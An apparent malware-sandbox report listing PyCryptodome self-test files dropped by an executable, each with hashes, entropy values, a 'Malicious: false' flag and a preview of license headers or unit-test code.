Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Hash\test_TupleHash.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9000
Entropy (8bit):	4.582880901232354
Encrypted:	false
SSDEEP:	192:vPuxbp/u47AstnU5XIZnCxTVxQo/cnCOa:0dKsdUy1mTVV/cnG
MD5:	0CD739D505C4A5D84BB76784073B1557
SHA1:	CE238370C8D61C1951AF229D6912DC398E4B2261
SHA-256:	996817F0C1FF6BE9642C71B0C64FE8B2B783DF516DFC289C950E7212DB2651E5
SHA-512:	B6273F9B9F342DF9D23BCE216963AE2979A0BC6740BB1458CA39D95A8AE330C1E400DC2CB0CBB864B6D2DA3921FC9F4FAA2090B48F4BBBAAF6CD5BB397230F37
Malicious:	false
Preview:	import unittest..from binascii import unhexlify, hexlify....from Crypto.Util.py3compat import tobytes..from Crypto.SelfTest.st_common import list_test_cases....from Crypto.Hash import TupleHash128, TupleHash256......class TupleHashTest(unittest.TestCase):.... def new(self, args, kwargs):.. return self.TupleHash.new(args, *kwargs).... def test_new_positive(self):.... h = self.new().. for new_func in self.TupleHash.new, h.new:.... for dbits in range(64, 1024 + 1, 8):.. hobj = new_func(digest_bits=dbits).. self.assertEqual(hobj.digest_size 8, dbits).... for dbytes in range(8, 128 + 1):.. hobj = new_func(digest_bytes=dbytes).. self.assertEqual(hobj.digest_size, dbytes).... hobj = h.new().. self.assertEqual(hobj.digest_size, self.default_bytes).... def test_new_negative(self):.... h = self.new().. for new_func in self.TupleHash.new, h.new:..

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Hash\test_TurboSHAKE.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	15477
Entropy (8bit):	4.797172752964677
Encrypted:	false
SSDEEP:	192:ZhR+CSwVR7RRUMglQOMhFs42YomDg1l0xokdgrQff26duEhOROa1s/0fOa:ZhRaDXkeQvO6uEos4
MD5:	7416C9644E4F1208364986E5473EA89E
SHA1:	FE5A66E3FC35342C9BB9904FE6DCD87AC7AEC33F
SHA-256:	1AD796B5A7AC7C12AAAECCD151CDF0AB312B28621FD09A047F974F9367A30B7E
SHA-512:	4C67EF2BF5D2E0E22F4098A632AE2C25D7FC778D92535CA9B16C0E3F80173E151CAEDBEBDFFB97A5D540FDA1D2114497346C3EEB9954BD3886D08D22E58D2A36
Malicious:	false
Preview:	"""Self-test suite for Crypto.Hash.TurboSHAKE128 and TurboSHAKE256"""....import unittest..from binascii import unhexlify....from Crypto.SelfTest.st_common import list_test_cases....from Crypto.Hash import TurboSHAKE128, TurboSHAKE256..from Crypto.Util.py3compat import bchr......class TurboSHAKETest(unittest.TestCase):.... def test_new_positive(self):.... xof1 = self.TurboSHAKE.new().. xof1.update(b'90').... xof2 = self.TurboSHAKE.new(domain=0x1F).. xof2.update(b'90').... xof3 = self.TurboSHAKE.new(data=b'90').... out1 = xof1.read(128).. out2 = xof2.read(128).. out3 = xof3.read(128).... self.assertEqual(out1, out2).. self.assertEqual(out1, out3).... def test_new_domain(self):.. xof1 = self.TurboSHAKE.new(domain=0x1D).. xof2 = self.TurboSHAKE.new(domain=0x20).. self.assertNotEqual(xof1.read(128), xof2.read(128)).... def test_update(self):.. pieces = [bchr(10) * 200, bchr(20) * 300].

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Hash\test_cSHAKE.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6970
Entropy (8bit):	5.194425901690965
Encrypted:	false
SSDEEP:	96:M/DqrYJALrYJHdt3EHGuI3jPiHhu0nHU+aS+rFX3F/0a+WuW96lOh:Gqrskrs9t3q/Ieu0nHULbdV0a+9mcOh
MD5:	66C07A7C4501D81AE688CB8D86E1124C
SHA1:	954B46653D497E318F2D997FB6C10048E64A79B6
SHA-256:	ADED756FB81F8601C093433F2A8549D91033C2FDC632F5D0A96E82D65BBCABB3
SHA-512:	9D20AFBDA3E9BE26EB19D23CFD5758D6CFF425C0EBD0F662E0AF3E47A39955943A30161F4A7DC44C6A26B73C04DFA965F00C677E30D80B753052DD9DC01E0740
Malicious:	false
Preview:	# ===================================================================..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,..# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Hash\test_keccak.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9139
Entropy (8bit):	4.901557899833285
Encrypted:	false
SSDEEP:	192:4qrskrs9t3q/I6ffRHk7Lo626/b5pfpkM67Oh:Hrskrs9VqNX9k70626T5lpB6g
MD5:	E6120ECD0AC2994275652761FFC133EF
SHA1:	56AED1B699770BF14C7765D38BE1E11AA6AE4910
SHA-256:	F75F0DDB0190F6B0177DFCD321931AC8BCF9B0A6BF0539B413D719A3E104656E
SHA-512:	544E46E5E4546A31925EE99C8D1DE196F94C90C2FA93105059D2BD95C21D1B67E1E25574B093EA148F713213042528BF32B1660F3942E019FE0D52D5CBDEFAAE
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\IO\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2041
Entropy (8bit):	5.273948297631314
Encrypted:	false
SSDEEP:	48:RMWOqrYJALrYJHdG43tDs3EsIG13NcuIH60w0raZ+:uDqrYJALrYJHdt3EHGuIaSrN
MD5:	82492759411EAD272738749D44872798
SHA1:	27789E533A2E5B1EDE1C5C958711BF87FDA622F0
SHA-256:	E0FEABC0079FD763084043FC5C8BE120E43D75E0D12770E73CAE0781423B2F20
SHA-512:	D6E11BD164B8AECB79457398EEFF26491043F127B3E450E01A0C2B384A8A375944B0846CE806BAB4833FECBB2A766775E19E944C81FB80EAE3337AC28F2C1F6F
Malicious:	false
Preview:	#..# SelfTest/IO/__init__.py: Self-test for input/output module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. I

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\IO\test_PBES.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4467
Entropy (8bit):	5.082094195261321
Encrypted:	false
SSDEEP:	96:BDqrYJALrYJHdt3EHGuI44S6Rql3mvncp/3qa:Jqrskrs9t3q/I26Rql3mvncpPqa
MD5:	AB24621790843C9EE84CA887E5B9AF88
SHA1:	FC00589544BE26FFD2AC12AC77AF1515C8DA17C9
SHA-256:	CCC8F12FF8CA42C2FF848798C9BAE1AA606F088B197D51E301515DDF0DF1160C
SHA-512:	1923E379D29A04DFC95C004BB408AFFA8483803D542FB981A8D42AEAC7C3EA2F2F479248DDF24F31026F6B005D068BA28EE52EEA2498BCF06F31311463E80737
Malicious:	false
Preview:	#..# SelfTest/IO/test_PBES.py: Self-test for the _PBES module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\IO\test_PKCS8.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	19565
Entropy (8bit):	5.2619407746416655
Encrypted:	false
SSDEEP:	384:rrskrs9Vq8dd/zJDCLv9sbPkkebKQ1SWh8G+rRfan:rr6qgd/zJDov9srkmQ1Sdr1an
MD5:	475E96AA38DE346D19BD1C7BF9AC5DF7
SHA1:	45892248A0D20358EF2EAF1CC6F84582C119D2D5
SHA-256:	0F02942929784AB768BDAC13A9FF91BAF09E949FE9A4E94B72664F86A71E07EE
SHA-512:	23485DBBF0B3DACE97A810108D456A1062B9449EDED59BADD386A197758336AA75F3F4CE9C0BEA607663B88CBB7991455AC3B8CFE0A2025A3BF5DBCBE82234A7
Malicious:	false
Preview:	#..# SelfTest/IO/test_PKCS8.py: Self-test for the PKCS8 module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Math\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2253
Entropy (8bit):	5.265534509270815
Encrypted:	false
SSDEEP:	48:RQWOqrYJALrYJHdG43tDs3EsIG13NcuIHMo0xlxqxUxaGtraZy:6DqrYJALrYJHdt3EHGuIsokTOEaGtrh
MD5:	193EF9AAB49C856D4333036CB09C927C
SHA1:	95D64BBE10A2A6631FF0EC434AD42C0F2554A2B6
SHA-256:	73D30940D7505A54B81211BB5BFB364CF389486220F3749A1B3783588AE316C9
SHA-512:	37583CB8A1AC70B2AC4453A7DBDFA384517F376515041F74E2DC3D926BE5AB499099C33414FFD09839A29FD814D372A71CA32CB73D67E79FB11BEFA1BB44DE33
Malicious:	false
Preview:	#..# SelfTest/Math/__init__.py: Self-test for math module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO E

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Math\test_Numbers.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with very long lines (340), with CRLF line terminators
Category:	dropped
Size (bytes):	32598
Entropy (8bit):	4.827746010636288
Encrypted:	false
SSDEEP:	768:+r6qCaltwxENWAdqaRou/dzKkB3F3H2mnGH:+rpCwtwxENWAo2b0
MD5:	4F0AAC69E3310C34FF9D1CF39EEDF325
SHA1:	A8FB56868AD18382114D035319A69D80CB2A7641
SHA-256:	C99AB636077E7B46B07D83440E3843E907E8838E62DDB5F0E705B5D2A9984749
SHA-512:	3FC3D64D1245E9BC66A0158BFDD0D133F306D0DE6DE274B5719C7EF1958B1DCDF5D6D060E1FC856B25B94ECD63A810C96A7742B854E8594BCFB1B95AED2D7B01
Malicious:	false
Preview:	#..# SelfTest/Math/test_Numbers.py: Self-test for Numbers module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED.

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Math\test_Primality.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	4999
Entropy (8bit):	5.3379909826043574
Encrypted:	false
SSDEEP:	96:+eDqrYJALrYJHdt3EHGuI7PH1opz94FksTjTOqOh98LfgeBrp:+sqrskrs9t3q/Ik9izT1OYIgrp
MD5:	24878E5A9765069E457777F362D58556
SHA1:	F6FE995D3D2477A853D94C8FF4BD28B240833FE8
SHA-256:	9E2BA49B922820DFA0AD60532E98747DBBD03796F3DF2B3701B0373D1A254F09
SHA-512:	97B227C53D4CEFB64F47BF67495D757B268CE2AC91C1ECA596CD6072BA5C700DE03AFA915ADE52BBA57D4A8CE3616F38D62B2AE1C29F5FD981FD93109DB4BE3A
Malicious:	false
Preview:	#..# SelfTest/Math/test_Primality.py: Self-test for Primality module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIM

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Math\test_modexp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with very long lines (526), with CRLF line terminators
Category:	dropped
Size (bytes):	8304
Entropy (8bit):	5.1628761666181795
Encrypted:	false
SSDEEP:	192:Tqrskrs9t3q/IsgOvG4xmV1vFEcOLpCp01p0opQPOp:Grskrs9VqvvG4SHOF2Qrz
MD5:	8493CFB3E2E9FCA2CCE57F7E5978CF01
SHA1:	EC340955DD4BB061DB5D2B181E258951DE94F7FB
SHA-256:	0FEA1E2F8E4285DEE62676C7E87D438EF421F948BDB8B412EC453A0D4DECA6D5
SHA-512:	C03FDC899951CBFE93264C618698B4C41D83B8508443E61FFB4AE8CB6B6EE57280192CB6BE7E91A293191727B4B5AB0A77AF0383972D524D13BBEA6BD68D3CCD
Malicious:	false
Preview:	#..# SelfTest/Math/test_modexp.py: Self-test for module exponentiation..#..# ===================================================================..#..# Copyright (c) 2017, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISC

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Math\test_modmult.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with very long lines (535), with CRLF line terminators
Category:	dropped
Size (bytes):	4980
Entropy (8bit):	5.438563739839803
Encrypted:	false
SSDEEP:	96:vDqrYJALrYJHdt3EHGuIDPAtrftMopqbacxCINrW6u5/qAC0qNaPOa:bqrskrs9t3q/IRopquOhWx5/qEXPOa
MD5:	6F726584647B71739BBE490252FF0475
SHA1:	B9EFBAFF2529BE4141186CDFF8DDF8F6E5507218
SHA-256:	8B83A8374C7929213AC42BC379DD2E3923B015203BFDAB61EFCC2AE7E8986C6D
SHA-512:	1CC1B2F722ACB1FBA3CC99A4C251223FAE5D766646F79ED30E87EDCD6102F323B302ACC3DD1D5C41CA65D0E6D7E12839C65580E4C931EF44F2A9D7CA829742F8
Malicious:	false
Preview:	#..# SelfTest/Math/test_modmult.py: Self-test for custom modular multiplication..#..# ===================================================================..#..# Copyright (c) 2023, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Protocol\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	5.2502959979894195
Encrypted:	false
SSDEEP:	48:NX1G2wEIB0jcQHMsvI/S3oCFx1p0uFJtityraZa:rTwfFQHvoSpTFJNrB
MD5:	9BAF5A68FE8F27D1DC5E3835B09AE251
SHA1:	7A4C6CB96061378BC70FB165D80464951AD14B5F
SHA-256:	8883ABB95F9BCC3D39B2A7707045D20EA66ACF1BB4DC7924C7676A44EDC066AF
SHA-512:	AD37A7836EA7A6DC0D97144E1A721E5C1618E6D4F91010D9D3F48B7B651037E0CF90982A6C15A1E702EC7E9F7B825E5ABD0FD3D5CF047ED840DD5709C84520A3
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Protocol/__init__.py: Self-tests for Crypto.Protocol..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Protocol\test_KDF.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	37587
Entropy (8bit):	5.3282002804951665
Encrypted:	false
SSDEEP:	768:mc1DUj9pFEoJioLmZJo1ouofozoOuLuHxo+ofOM4LEKMv:mciSGiOm3qpmqYAxnXEKc
MD5:	ECE27576B17C7C6FF58D4DEA555F7D00
SHA1:	721307F971B9ADE39A4B972121E537A420F9086E
SHA-256:	22B5EBC0BFD82BA5D7D3294C0701794D875A69F40624CA7E2FB37A87970D1139
SHA-512:	206BF6F8A39BD3A06CFAE4D1DC7AFF6907D536FDD904661A3BC958CF6114F09A0D9C06C66A4FCC0F254B5A2494D831E4CE8E850FACE76D098A39885A390FDBC3
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Protocol/test_KDF.py: Self-test for key derivation functions..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..#

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Protocol\test_SecretSharing.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9952
Entropy (8bit):	5.092380043305687
Encrypted:	false
SSDEEP:	192:3qrskrs9t3q/IvRXxuQaCu31Vy5+/sC/GSShBsTbrS:arskrs9VqkxuQaxl/sCutIG
MD5:	E47ACE891AB98689B03CD52457E9D952
SHA1:	186FD91CCD5C3E2609FCA91E6F852D675760FA68
SHA-256:	01F48396E41FB1F1B0BEC975521517247AB2FC7E25FB108064BCD6288EDBCE66
SHA-512:	1765BD953CE9C8F14AF1D81053A57C07EA2A79BD9FAF012DB417158C115950B3DD135CA542A6826AAD2868C46E72F62839AF87649154CFCA7264B242D24FCD09
Malicious:	false
Preview:	#..# SelfTest/Protocol/test_secret_sharing.py: Self-test for secret sharing protocols..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PUR

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Protocol\test_ecdh.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10784
Entropy (8bit):	4.78981017921065
Encrypted:	false
SSDEEP:	192:Cw7OCjqu+vTy1eT0s8IHfX88sOJzIn1xCiKVz8bBVjjnKOa:BWucy1YpfJUDCiK18bf2
MD5:	482A7F06CA1AC5495FA66573F87A325F
SHA1:	529DD31BFACC857B86262C417A7C958EA4A886D0
SHA-256:	6019F99443B9F1234CCE6E24E6E3DD99547D932AEB5251E7FB604ACCC48CBE1F
SHA-512:	A3B25168AB10C9A6B207BC32E9D6F36C3F783D32EBEDE156654F649298628942D3B89BC4D3E82A10654D75B8397642808192630382658303F6CE0473925CE3B1
Malicious:	false
Preview:	import re..import unittest..from binascii import hexlify....from Crypto.Util.py3compat import bord....from Crypto.Hash import SHA256..from Crypto.PublicKey import ECC..from Crypto.SelfTest.st_common import list_test_cases..from Crypto.SelfTest.loader import load_test_vectors, load_test_vectors_wycheproof....from Crypto.Protocol.DH import key_agreement......class FIPS_ECDH_Tests_KAT(unittest.TestCase):.. pass......test_vectors_verify = load_test_vectors(("Protocol", ),.. "KAS_ECC_CDH_PrimitiveTest.txt",.. "ECC CDH Primitive (SP800-56A Section 5.7.1.2)",.. {.. 'qcavsx': lambda x: int(x, 16),.. 'qcavsy': lambda x: int(x, 16),.. 'diut': lambda x: int(x, 16),.. 'qiutx': lambda x: int(x, 16),..

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Protocol\test_rfc1751.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2270
Entropy (8bit):	5.332184874162283
Encrypted:	false
SSDEEP:	48:RDEWIB0jcQHMsvI/S3oCFlF+a+QoT1OiPoMEYaMiWvEaSA:NkFQHvoCF7HvIvKA
MD5:	CBD669C019031D8BD673CE75FFCABBC9
SHA1:	8AD94D21B3E7394A43DA56412ED3D7A985D2ABAD
SHA-256:	5BA5CF5C2665263DF853E60CE4A6ECFD8E74910C13FA92F7B32841501BF90C59
SHA-512:	9D870E5CD01B7E2C8767EB2DB965512D91FEE5A0E9A7B9100483E8E6D8B72C1D7A0DAA0FCD912126E6C7494D81426DC7E5885CC7F55CB28674A0652240C7B7DF
Malicious:	false
